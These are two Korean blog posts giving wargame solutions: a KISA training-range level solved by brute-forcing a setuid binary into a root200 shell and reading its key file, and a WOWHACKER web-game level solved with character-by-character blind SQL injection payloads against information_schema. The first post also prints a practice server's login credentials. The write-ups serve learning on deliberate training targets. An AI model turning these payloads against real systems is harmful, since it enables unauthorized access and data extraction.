KISA 해킹 방어 훈련장 문제에 대한 풀이입니다. 


System Level2 문제를 보면 아래와 같습니다


문제 제목 : 확률 게임에서 이겨라!


문제 설명 : 확률 게임이 있다. 이 게임은 1에서 

100중 숫자를 선택하여 컴퓨터가 선택한 값과 일치 

해야 된다. 일치하면 잭팟이 터지고 SHELL을 획득

할 수 있다. 게임에서 이겨라!




접근 IP : 221.143.48.107

접근 PORT : 22


접근ID : system200

접근 PW : securitypractice




추천은 저를 춤추게 합니다 ^^



접근 포트가 22번 이므로 SSH로 접속해봅시다.


$ ssh system100@221.143.48.107


주어진 비밀번호를 입력하면 접속이 이루어집니다. 


우선 현재 폴더에 어떤 파일들이 있는지 확인 해봅시다. 


-bash-4.1$ ll

total 12

-r-sr-x---. 1 root200 system200 9424 Aug  7 00:35 system200


1번 문제와 매우 유사한 형식의 실행 파일인것을 알 수 있습니다. 


우선 파일을 실행해 봅시다. 


-bash-4.1$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :1

Failed...


기본 메뉴가 나오면 '1'을 입력해 게임을 시작할 수 있고, 1~100까지의 숫자중 하나를 입력해서 맞추는 게임이군요. 

풀이 방법은 여러가지가 있을 수 있겠지만.. 저는 brute force 방식으로 풀었습니다. 


$ ./system200 

Probability Game ------------------------+

- Goal : JackPot!!!

- Menu Choice

(1) Game Start.

(2) User Name Change.

(3) Exit

-----------------------------------------+

INPUT - 1

-----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :`perl -e 'print "1"x500'` 


system200 프로그램에 '1'이란 값을 500개 입력 하라는 의미입니다. 

숫자 1을 입력해서 잭팟을 시도합니다. 


확률상 100번만 시도하면 성공 할 수 있겠죠? 물론, 운이 좋다면 더 빨리 성공 할 테구요. 


한참을 시도한 끝에 숫자를 맞추게 되면 아래와 같은 메시지가 나오면서 종료됩니다. 


INPUT - -----------------------------------------------------------

-Game Method : If a number inputed from 1 to 100, print "JackPot"

-----------------------------------------------------------

Enter the Number ( 1~100 ) :!Conguraturation !!!


권한을 확인해 봅시다. 


sh-4.1$ id

uid=504(root200) gid=502(system200) groups=504(root200),502(system200) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023


실제 화면을 보면 이렇습니다. 



이제 1번 문제와 동일하게 key파일에 들어 있는 내용을 읽으면 끝!


$ cat /home/root200/key


문제 출제자의 의도대로 푼게 맞는지는 모르겠지만.. 어쨌든 잘 풀리니 더 고민하지 않기로 했습니다. ^^ 

Posted by KT한
,
해킹을 배우는 사람의 입장에서 자세하게 풀이법을 정리하고자 합니다. 

WOWHACKER WEBGAME SEASON2  Level 9 풀이법입니다. 


이번 레벨은 1~7레벨과 달리 별도의 준비물이 필요합니다. 
외부에서 request 패킷을 보내오면 그 패킷에 대해 처리해주는 과정이 필요한데 이를 위해서 외부에서 내 PC로 패킷을 보내올 수 있도록 공인 IP를 할당 받아야 됩니다. 
물론, 현재 공인IP를 쓰고 있다면 한결 수월할겁니다. 
저는 공유기를 쓰고 있어서 목적지 포트가 80인 패킷에 대해  제 PC로 오도록 포트 포워딩(Port forwarding)설정을 해줬습니다. 

기본적인 준비를 마쳤다면 문제를 풀어봅시다. 


추천은 저를 춤추게 합니다 ^^




  • 1단계: 문제 의도 파악하기 

주어진 링크에 들어가면 이런 화면이 나옵니다. 

뭔가 URL을 넣으라는것 같군요. 

와우해커 웹게임 주소를 넣어봅시다. 


서버가 Apache라는 사실과 함께 아래로 다양한 URL에 대한 서버 정보가 보이네요. 
테이블을 가만 보니 DB에서 정보를 불러와서 보여주는것 같다는 느낌이 들죠?


  • 2단계: Blind SQL Injection에 대해 알아보기 

간략하게 SQL Injection과 Blind SQL Injection의 차이점을 알아보자면.. 
Blind 는 결과 값을 화면에 보여주지 않고, 결과 값이 '참(true)' 혹은 '거짓(false)' 인지만 가지고 값을 찾아내는 방법입니다. 
자세한 내용은 와우해커에 잘 설명된 문서가 있으니 참고하시면 될것 같네요. ^^ 




  • 3단계: 웹 서버 구동시키기 

이 글의 맨 아래에 보면 간단하게 실행 가능한 파이썬(Python) 웹 서버 코드를 올려뒀습니다. 
80포트로 GET 패킷이 들어오면 커맨드 라인으로 입력받은 값을 응답으로 보내주도록 한 코드입니다. 

사용 법
$ sudo python level9.py   Apache

우선, 입력값을 'Apache'라고 주고 서버를 실행 시킨 후 ..
와우해커에서 오는 목적지 포트가 80인 패킷에 대해 내 PC로 오게 해두었다는 전재하에.. 
URL에 자신의 공인 IP를 입력해봅시다. 


동일한 결과가 나오는 군요. 


실제로 Wireshark를 실행시켜서 패킷을 덤프해보면 'GET' 패킷이 들어오는것을 알 수 있습니다.



  • 4단계: schema table 탐색하기 

레벨 7의 SQL Injection과 동일하게 'INFORMATION_SCHEMA.TABLES'에서 테이블 이름을 알아내봅시다. 

참고로, 입력값에 길이 제한이 있으니 가능한 빈칸은 없게 해야 합니다. 

명령어 예제
$ sudo python level9.py   "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1)) > 100#"


SQL 명령을 주고 서버를 실행 한 후 아래와 같이 테이블에 아무내용도 나오지 않는다면 거짓(False)인 겁니다. 


만약, 아래와 같이 어떤 데이터가 나온다면 참(True)인 겁니다. 



즉, 특정 필드의 값을 알수 있다는 의미인거죠. 


처음에는 크기 비교 부등호 (>,<)를 이용해서 범위를 좁혀다가다 최종 확인은 같은지 비교하는 부등호(=) 를 써서 확인 하면 됩니다. 

아래 명령으로 테이블 이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),1,1))=114#"  
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),2,1))=101#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),3,1))=97#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),4,1))=100#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),5,1))=109#" 
 "-1'or ascii(substr((select table_name from information_schema.tables where table_type='base table'limit 1,1),6,1))=101#" 


ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'readme'라는 테이블이 존재함을 알 수 있습니다. 
물론, 다른 테이블도 존재하지만 문제와 상관없는 테이블들 이므로 무시하겠습니다. 


  • 5단계: schema column 탐색 

이번에는 'INFORMATION_SCHEMA.COLUMNS'에서 열(column)값을 알아봅시다. 

아래 명령으로 열(column)이름을 찾아낼 수 있습니다. 

 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),1,1))=118#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),2,1))=97#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),3,1))=108#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),4,1))=117#" 
 "-1'or ascii(substr((select column_name from information_schema.columns where table_name='readme'limit 0,1),5,1))=101#" 

ASCII코드 값을 비교해서 글자를 한 글자씩 알아내면 됩니다. 
이렇게 찾아낸 결과를 조합해보면 'value'라는 열(column)이 존재함을 알 수 있습니다. 


  • 6단계: 키 값 찾기

database와 관련된 필요한 정보는 모두 찾았습니다.
이제 실제 키 값만 찾으면 되겠군요. 

한 글자 한 글자 찾는 과정이 노가다도 이런 노가다가 없네요.
안들려

키 값을 찾기 위해 아래와 같은 명령을 실행하면 됩니다. 

'-1\' or ascii(substr((select value from readme),1,1)) = 87#'       
'-1\' or ascii(substr((select value from readme),2,1)) = 101#'     
'-1\' or ascii(substr((select value from readme),3,1)) = 98#'        
'-1\' or ascii(substr((select value from readme),4,1)) = 71 #'      
'-1\' or ascii(substr((select value from readme),5,1)) = 97 #'       
'-1\' or ascii(substr((select value from readme),6,1)) = 109 #'    
'-1\' or ascii(substr((select value from readme),7,1)) = 101 #'     
'-1\' or ascii(substr((select value from readme),8,1)) = 73 #'        
'-1\' or ascii(substr((select value from readme),9,1)) = 115 #'     
'-1\' or ascii(substr((select value from readme),10,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),11,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),12,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),13,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),14,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),15,1)) = 101 #'   
'-1\' or ascii(substr((select value from readme),16,1)) = 114 #'   
'-1\' or ascii(substr((select value from readme),17,1)) = 121 #'   
'-1\' or ascii(substr((select value from readme),18,1)) = 86 #'     
'-1\' or ascii(substr((select value from readme),19,1)) = 70 #'      
'-1\' or ascii(substr((select value from readme),20,1)) = 117 #'    
'-1\' or ascii(substr((select value from readme),21,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),22,1)) =  110 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  121 #'   
'-1\' or ascii(substr((select value from readme),23,1)) =  33 #'     


드디어 결과가 나왔습니다. 

오랜시간 삽질 하느라 수고하셨습니다. ^^ 
축하2


예의상 답은 스스로 알아보시라고 적지 않겠습니다~ 

  • 별첨: 파이썬(Python) 웹서버 코드 : 



Posted by KT한
,